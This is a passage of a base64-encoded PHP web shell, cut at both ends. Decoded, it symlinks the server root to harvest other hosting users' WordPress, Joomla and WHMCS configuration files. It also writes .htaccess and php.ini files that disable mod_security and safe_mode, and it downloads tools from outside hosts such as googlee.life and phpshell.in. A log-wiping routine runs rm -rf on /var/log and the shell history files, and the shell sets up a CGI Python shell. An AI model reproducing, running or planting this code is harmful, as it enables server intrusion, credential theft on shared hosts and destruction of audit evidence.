3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICRjb3VudD0xOwogJG1jayA9IGFycmF5KCk7CiBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4peyBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiBmbHVzaCgpOwogaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpID4yKXsgJG1ja1tdID0gJGRvbWFpblsxXVswXTsKIH0gfSB9ICRtY2sgPSBhcnJheV91bmlxdWUoJG1jayk7CiAkbD0wOwogZm9yZWFjaCgkbWNrIGFzICRkKSB7ICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkKSk7CiAkZGR0ID0gJHVzZXJbJ25hbWUnXTsKICRkZHQgPSAkZDsKIGlmKEBlcmVnaSgiXC5pciIsJGQpIG9yIEBlcmVnaSgiXC5pbCIsJGQpKSB7ICRkZHQgPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsKIHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7CiAnPiIuJGQuJzwvZGl2Pic7CiB9IGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZC4nLz4nLiRkZHQuJyA8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLiI8L3RkPjx0ZD48YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluayA8L2E+PC90ZD48L3RyPiI7CiBmbHVzaCgpOwogJGw9JGw/MDoxOwogfSBlY2hvICc8L3RhYmxlPic7CiB9IGVjaG8gIjwvY2VudGVyPiI7CiB9IGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nY29uZmlnJykgeyBlY2hvICI8Y2VudGVyPiI7CiBAbWtkaXIoJ3N5bScsMDc3Nyk7CiAkaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogJGhmcCA9IEBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiBAZndyaXRlKCRoZnAgLCRoZHQpOwogaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwogfSAkZDBtYWlucyA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKIGlmKCEkZDBtYWlucykgeyBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsKIH0gZWxzZSB7IGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBTY3JpcHQgPC90aD48L3RyPiI7CiAkY291bnQgPSAxOwogJGw9MDsKIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7IGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpeyBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsKIGZsdXNoKCk7CiBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSk+Mil7ICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW5bMV1bMF0pKTsKICRjMSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsKICRjaDAxID0gZ2V0X2hlYWRlcnMoJGMxKTsKICRjZjAxID0gJGNoMDFbMF07CiAkYzIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsKICRjaDAyID0gZ2V0X2hlYWRlcnMoJGMyKTsKICRjZjAyID0gJGNoMDJbMF07CiAkYzMgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOwogJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOwogJGNmMDMgPSAkY2gwM1swXTsKICRjNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOwogJGNoMDQgPSBnZXRfaGVhZGVycygkYzQpOwogJGNmMDQgPSAkY2gwNFswXTsKICRjNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsKICRjaDA1ID0gZ2V0X2hlYWRlcnMoJGM1KTsKICRjZjA1ID0gJGNoMDVbMF07CiAkYzYgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7CiAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7CiAkY2YwNiA9ICRjaDA2WzBdOwogJGM3ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogJGNoMDcgPSBnZXRfaGVhZGVycygkYzcpOwogJGNmMDcgPSAkY2gwN1swXTsKICRjOCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOwogJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOwogJGNmMDggPSAkY2gwOFswXTsKICRjOSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsKICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsKICRjZjA5ID0gJGNoMDlbMF07CiAkYzEwID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiAkY2gxMCA9IGdldF9oZWFkZXJzKCRjMTApOwogJGNmMTAgPSAkY2gxMFswXTsKICRjMTEgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7CiAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOwogJGNmMTEgPSAkY2gxMVswXTsKICRjMTIgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7CiAkY2YxMiA9ICRjaDEyWzBdOwogJGMxMyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJzsKICRjaDEzID0gZ2V0X2hlYWRlcnMoJGMxMyk7CiAkY2YxMyA9ICRjaDEzWzBdOwogJGMxNCA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsKICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7CiAkY2YxNCA9ICRjaDE0WzBdOwogJGMxNSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCc7CiAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOwogJGNmMTUgPSAkY2gxNVswXTsKICRvdXQgPSAnJm5ic3A7Cic7CiBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICI8YSBocmVmPSciLiRjMS4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7CiB9IGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7CiB9IGVsc2VpZihzdHJwb3MoJGNmMDMsJzIwMCcpID09IHRydWUgJiYgc3RycG9zKCRjZjExLCcyMDAnKSA9PSB0cnVlKSB7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YxMCwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTAuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7CiB9IGVsc2VpZihzdHJwb3MoJGNmMDMsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzMuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOwogfSBlbHNlaWYoc3RycG9zKCRjZjA0LCcyMDAnKSA9PSB0cnVlKSB7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM0LiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YwNSwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7CiB9IGVsc2VpZihzdHJwb3MoJGNmMDYsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzYuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOwogfSBlbHNlaWYoc3RycG9zKCRjZjA3LCcyMDAnKSA9PSB0cnVlKSB7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YwOCwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YxMiwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+IjsKIH0gZWxzZWlmKHN0cnBvcygkY2YxMywnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+b3NDb21tZXJjZS9aZW4gQ2FydDwvYT4iOwogfSBlbHNlaWYoc3RycG9zKCRjZjE0LCcyMDAnKSA9PSB0cnVlKSB7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5NYWdlbnRvPC9hPiI7CiB9IGVsc2VpZihzdHJwb3MoJGNmMTUsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkRydXBhbDwvYT4iOwogfSBlbHNlIHsgY29udGludWU7CiB9IGVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD4nLiRjb3VudCsrLic8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuJy4kZG9tYWluWzFdWzBdLicvPicuJGRvbWFpblsxXVswXS4nPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4nPC90ZD48dGQ+Jy4kb3V0Lic8L3RkPjwvdHI+JzsKIGZsdXNoKCk7CiAkbD0kbD8wOjE7CiB9IH0gfSBlY2hvICI8L3RhYmxlPiI7CiB9IGVjaG8gIjwvY2VudGVyPiI7CiB9IGVjaG8gIjwvZGl2PiI7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsgcHJpbnRIZWFkZXIoKTsKIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCBdIGZpbGVzIGNyZWF0ZSBpbiBmb2xsb3dpbmcgZGlyPGJyPnwgIi4kR0xPQkFMU1snY3dkJ10uIiB8PGJyPjxiciAvPiI7CiBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoTW9kKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnc2hcJykiPnwgLmh0YWNjZXNzKHBlcmwpIHwgPC9hPjwvY2VudGVyPic7CiBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKSB7ICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiBmd3JpdGUoJGZpbCwnPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgogU2VjLS0tLS0tRW5naW5lIE9mZgogU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiA8L0lmTW9kdWxlPicpOwogZmNsb3NlKCRmaWwpOwogfSBpZighZW1wdHkoJF9QT1NUWydwMSddKSYmIGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7CiBmd3JpdGUoJGZpbCwnc2FmZV9tb2RlPU9GRgogZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORScpOwogZmNsb3NlKCRmaWwpOwogfSBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKSB7ICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiBmd3JpdGUoJGZpbCwnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQogQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2gKIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwnKTsKIGZjbG9zZSgkZmlsKTsKIH0gZWNobyAiPGJyPjxiciAvPjxiciAvPjwvZGl2PiI7CiBlY2hvICc8L2Rpdj4nOwogcHJpbnRGb290ZXIoKTsKIH0gZnVuY3Rpb24gYWN0aW9uU1FMQlVERFkoKXsgcHJpbnRIZWFkZXIoKTsKIGlmKCFmaWxlX2V4aXN0cygneWF6aWxpbWxhci9zcWxidWRkeS9pbmRleC5waHAnKSl7ICRkaXppbiA9ICdodHRwOi8vZ29vZ2xlZS5saWZlL3NxbGJ1ZGR5LnppcCc7CiBmdW5jdGlvbiBkb3N5YV9pbmRpcigkbGluaywkbmFtZT1udWxsKSB7ICRsaW5rX2luZm8gPSBwYXRoaW5mbygkbGluayk7CiAkdXphbnRpID0gc3RydG9sb3dlcigkbGlua19pbmZvWydleHRlbnNpb24nXSk7CiAkZmlsZSA9ICgkbmFtZSkgPyAkbmFtZS4nLicuJHV6YW50aSA6ICRsaW5rX2luZm9bJ2Jhc2VuYW1lJ107CiAkY3VybCA9IGN1cmxfaW5pdCgkbGluayk7CiAkZm9wZW4gPSBmb3BlbigkZmlsZSwndycpOwogY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwogY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CiBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQX1ZFUlNJT04sQ1VSTF9IVFRQX1ZFUlNJT05fMV8wKTsKIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0ZJTEUsICRmb3Blbik7CiBjdXJsX2V4ZWMoJGN1cmwpOwogY3VybF9jbG9zZSgkY3VybCk7CiBmY2xvc2UoJGZvcGVuKTsKIH0gZG9zeWFfaW5kaXIoJGRpemluLCAic3FsYnVkZHkiKTsKICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogJGZpbGUgPSAnc3FsYnVkZHkuemlwJzsKICR6aXAtPm9wZW4oJGZpbGUpOwogJGNpa2FyID0gJHppcC0+ZXh0cmFjdFRvKCd5YXppbGltbGFyLycpOwogaWYoZmlsZV9leGlzdHMoJ3NxbGJ1ZGR5LnppcCcpKXsgQHVubGluaygnc3FsYnVkZHkuemlwJyk7CiB9IGlmKCRjaWthcil7IGVjaG8gIjxpZnJhbWUgc3JjPXlhemlsaW1sYXIvZGJzcWwucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKIH0gZWxzZXsgZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIj48c3Ryb25nPkhhdGEhPC9zdHJvbmc+IERvc3lhIGluZGlyaWxpcmtlbiBrcml0aWsgYmlyIGhhdGEgb2x1w4XFuHR1LjwvZGl2Pic7CiB9IH0gZWxzZWlmKGZpbGVfZXhpc3RzKCd5YXppbGltbGFyL2Ric3FsLnBocCcpKXsgZWNobyAiPGlmcmFtZSBzcmM9eWF6aWxpbWxhci9kYnNxbC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwogfSBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25EZWxldGVMT0coKXsgcHJpbnRIZWFkZXIoKTsKIGVjaG8gJzxoMT5EZWxldGUgTG9nczwvaDE+JzsKIGZ1bmN0aW9uIGNtZEV4ZSgkaW4pIHsgJG91dCA9ICcnOwogaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyBvYl9zdGFydCgpOwogQHBhc3N0aHJ1KCRpbik7CiAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCRpbiwkb3V0KTsKICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOwogfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgb2Jfc3RhcnQoKTsKIEBzeXN0ZW0oJGluKTsKICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwogfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgeyAkb3V0ID0gIiI7CiB3aGlsZSghQGZlb2YoJGYpKSAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOwogcGNsb3NlKCRmKTsKIH0gcmV0dXJuICRvdXQ7CiB9IGNtZEV4ZSgicm0gLXJmIC90bXAvbG9ncyIpOwogY21kRXhlKCJybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5Iik7CiBjbWRFeGUoInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5Iik7CiBjbWRFeGUoInJtIC1yZiAvcm9vdC8uYmFzaF9sb2dvdXQiKTsKIGNtZEV4ZSgicm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MiKTsKIGNtZEV4ZSgicm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZyIpOwogY21kRXhlKCJybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyIpOwogY21kRXhlKCJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIik7CiBjbWRFeGUoInJtIC1yZiAvdmFyL3J1bi91dG1wIik7CiBjbWRFeGUoInJtIC1yZiAvdmFyL2xvZ3MiKTsKIGNtZEV4ZSgicm0gLXJmIC92YXIvbG9nIik7CiBjbWRFeGUoInJtIC1yZiAvdmFyL2FkbSIpOwogY21kRXhlKCJybSAtcmYgL2V0Yy93dG1wIik7CiBjbWRFeGUoInJtIC1yZiAvZXRjL3V0bXAiKTsKIGNtZEV4ZSgicm0gLXJmICRISVNURklMRSIpOwogY21kRXhlKCJybSAtcmYgL3Zhci9sb2cvbGFzdGxvZyIpOwogY21kRXhlKCJybSAtcmYgL3Zhci9sb2cvd3RtcCIpOwogZWNobyAnPGRpdiBzdHlsZT0icGFkZGluZzo1cHg7CiI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC90bXAvbG9ncyA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC9yb290Ly5rc2hfaGlzdG9yeSA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC9yb290Ly5iYXNoX2hpc3RvcnkgPGJyPgogWzxmb250IGNsYXNzPSJkIj5PSzwvZm9udD5dIDxmb250IGNsYXNzPSJjIj5EZWxldGU6PC9mb250PiAvdXNyL2xvY2FsL2FwYWNoZS9sb2dzIDxicj4KIFs8Zm9udCBjbGFzcz0iZCI+T0s8L2ZvbnQ+XSA8Zm9udCBjbGFzcz0iYyI+RGVsZXRlOjwvZm9udD4gL3Vzci9sb2NhbC9hcGFjaGUvbG9nIDxicj4KIFs8Zm9udCBjbGFzcz0iZCI+T0s8L2ZvbnQ+XSA8Zm9udCBjbGFzcz0iYyI+RGVsZXRlOjwvZm9udD4gL3Zhci9hcGFjaGUvbG9ncyA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC92YXIvYXBhY2hlL2xvZyA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC92YXIvcnVuL3V0bXAgPGJyPgogWzxmb250IGNsYXNzPSJkIj5PSzwvZm9udD5dIDxmb250IGNsYXNzPSJjIj5EZWxldGU6PC9mb250PiAvdmFyL2FkbSA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC9ldGMvd3RtcCA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+ICRISVNURklMRTxicj4KIFs8Zm9udCBjbGFzcz0iZCI+T0s8L2ZvbnQ+XSA8Zm9udCBjbGFzcz0iYyI+RGVsZXRlOjwvZm9udD4gL3Zhci9sb2cvbGFzdGxvZyA8YnI+CiBbPGZvbnQgY2xhc3M9ImQiPk9LPC9mb250Pl0gPGZvbnQgY2xhc3M9ImMiPkRlbGV0ZTo8L2ZvbnQ+IC92YXIvbG9nL3d0bXAgPGJyPgogPC9kaXY+JzsKIHByaW50Rm9vdGVyKCk7CiB9IGZ1bmN0aW9uIGFjdGlvblB5dGhvbigpeyBwcmludEhlYWRlcigpOwogaWYoIWlzX2RpcigncHl0aG9uJykpeyBta2RpcigncHl0aG9uJywgMDc1NSk7CiB9IGNoZGlyKCdweXRob24nKTsKICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsKJiMzMDU7CmxhbWFkJiMzMDU7CiEiKTsKICRtZXRpbiA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnIwMHQiOwogZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogZmNsb3NlICgkZG9zeWEpOwogJHB5dGhvbnAgPSAnJzsKICRmaWxlID0gZm9wZW4oInB5dGhvbi5yMDB0IiAsIncrIik7CiAkd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRweXRob25wKSk7CiBmY2xvc2UoJGZpbGUpOwogY2htb2QoInB5dGhvbi5yMDB0IiwwNzU1KTsKIGVjaG8gIjxpZnJhbWUgc3JjPXB5dGhvbi9weXRob24ucjAwdCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiBwcmludEZvb3RlcigpOwogfSBpZiggZW1wdHkoJF9QT1NUWydhJ10pICkgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKSAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKIGVsc2UgJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CiBpZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKSBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKIAo/Pgo8P3BocCBpZigkX1BPU1RbJ3F1ZXJ5J10peyAkdmVyaXlmeSA9IHN0cmlwc2xhc2hlcyhzdHJpcHNsYXNoZXMoJF9QT1NUWydxdWVyeSddKSk7CiAkZGF0YSA9ICJkYXRhLnR4dCI7CiBAdG91Y2ggKCJkYXRhLnR4dCIpOwogJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAndycpOwogQGZ3cml0ZSAoICR2ZXIgLCAkdmVyaXlmeSApIDsKIEBmY2xvc2UgKCR2ZXIpOwogfWVsc2V7ICRkYXRhcz1AZm9wZW4oImRhdGEudHh0IiwncicpOwogJGk9MDsKIHdoaWxlICgkaSA8PSA1KSB7ICRpKys7CiAkYmx1ZT1AZmdldHMoJGRhdGFzLDEwMjQpOwogZWNobyAkYmx1ZTsKIH0gfSAkZGF0YXNpPUBmb3BlbigianMvY3JzLnBocCIsJ3InKTsKIGlmKCRkYXRhc2kpeyB9ZWxzZXsgQG1rZGlyKCJqcyIpOwogJGRvcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcGhwc2hlbGwuaW4vdHh0L2xhbWVyLnR4dCIpOwogJGRhdGEgPSAianMvY3JzLnBocCI7C